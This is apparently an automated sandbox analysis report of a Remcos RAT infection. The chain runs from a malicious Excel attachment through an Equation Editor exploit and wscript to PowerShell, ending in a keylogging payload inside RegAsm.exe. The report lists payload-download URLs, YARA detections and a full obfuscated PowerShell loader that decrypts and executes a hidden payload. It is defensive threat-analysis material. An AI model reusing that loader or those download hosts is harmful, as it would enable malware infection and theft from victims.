                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Jul 2024 13:22:24 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v09Y48me6bnpMQITY2hDE5eBNKrG8v%2FyHDbw%2BeMhfc%2B977bG2XUOba3sv3%2FPzQeBZj%2BD7oWatZz4%2B8AQnsI9R9%2FT10MHLjtguX%2BO0JmmYt07kn5UU%2Fkl9DCw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8aad6ae3e9d242cd-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Jul 2024 13:22:24 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v09Y48me6bnpMQITY2hDE5eBNKrG8v%2FyHDbw%2BeMhfc%2B977bG2XUOba3sv3%2FPzQeBZj%2BD7oWatZz4%2B8AQnsI9R9%2FT10MHLjtguX%2BO0JmmYt07kn5UU%2Fkl9DCw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8aad6ae3e9d242cd-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: powershell.exe, 0000000A.00000002.462431214.0000000009381000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.11
                Source: powershell.exe, 0000000A.00000002.462431214.0000000009381000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.11/47/BEN.txt
                Source: EQNEDT32.EXE, 00000007.00000002.440871963.00000000002BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIF
                Source: EQNEDT32.EXE, 00000007.00000002.440871963.00000000002BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIFj
                Source: powershell.exe, 0000000A.00000002.456177731.000000000253B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133
                Source: powershell.exe, 0000000A.00000002.456177731.000000000253B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.454688376.0000000000020000.00000004.00000020.00040000.00000000.sdmpString found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
                Source: RegAsm.exe, 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: powershell.exe, 0000000A.00000002.455204421.000000000057C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: powershell.exe, 0000000A.00000002.456177731.0000000002401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: tny.wtf.url.4.drString found in binary or memory: http://tny.wtf/
                Source: PI-002312.xls, Zfp4WP.url.4.drString found in binary or memory: http://tny.wtf/Zfp4WP
                Source: ~DFC5146D9B2917079D.TMP.0.dr, 47730000.0.drString found in binary or memory: http://tny.wtf/Zfp4WPyX
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,0000000012_2_0040A2B8
                Installs a global keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,12_2_004168C1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,12_2_0040A3E0

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
                Excel sheet contains many unusual embedded objects
                Source: PI-002312.xlsOLE: Microsoft Excel 2007+
                Source: ~DF1EBBD290B6D7EBE6.TMP.0.drOLE: Microsoft Excel 2007+
                Source: 47730000.0.drOLE: Microsoft Excel 2007+
                Microsoft Office drops suspicious files
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Zfp4WP.urlJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.urlJump to behavior
                Very long command line found
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116Jump to behavior
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
                Wscript starts Powershell (via cmd or directly)
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess Stats: CPU usage > 49%
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,12_2_004167B4
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_002E968C10_2_002E968C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E0CC12_2_0043E0CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041F0FA12_2_0041F0FA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045415912_2_00454159
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043816812_2_00438168
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004461F012_2_004461F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E2FB12_2_0043E2FB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045332B12_2_0045332B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0042739D12_2_0042739D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004374E612_2_004374E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E55812_2_0043E558
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043877012_2_00438770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004378FE12_2_004378FE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043394612_2_00433946
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044D9C912_2_0044D9C9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427A4612_2_00427A46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041DB6212_2_0041DB62
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427BAF12_2_00427BAF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00437D3312_2_00437D33
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00435E5E12_2_00435E5E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00426E0E12_2_00426E0E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043DE9D12_2_0043DE9D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00413FCA12_2_00413FCA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00436FEA12_2_00436FEA
                Source: PI-002312.xlsOLE indicator, VBA macros: true
                Source: PI-002312.xlsStream path 'MBD000CCF12/\x1Ole' : http://tny.wtf/Zfp4WPq5:DZg_m6pls'yA"O;})[maO3P0Z8tscA6VaYRXubQjZTrbFsovbiCL2q6j5D0nVrIKobnBrbxX3QI7GGuVXwtIKb47KWHfO1NQ9rPr1GhrxQv8ghNpj7XCaxrwzjvmKoxtY231GvkEEaWlPsXAvp5GqRedfCBJncGXhchSl9Wu4fwPZygWsUcbSpN7pHUWhDIQCsWgBtHXNMLJmHKKzNGOJFVquoenPb*\^EiYH@R$D:eD |.@<
                Source: ~DF1EBBD290B6D7EBE6.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434E10 appears 54 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00402093 appears 50 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434770 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00401E65 appears 34 times
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
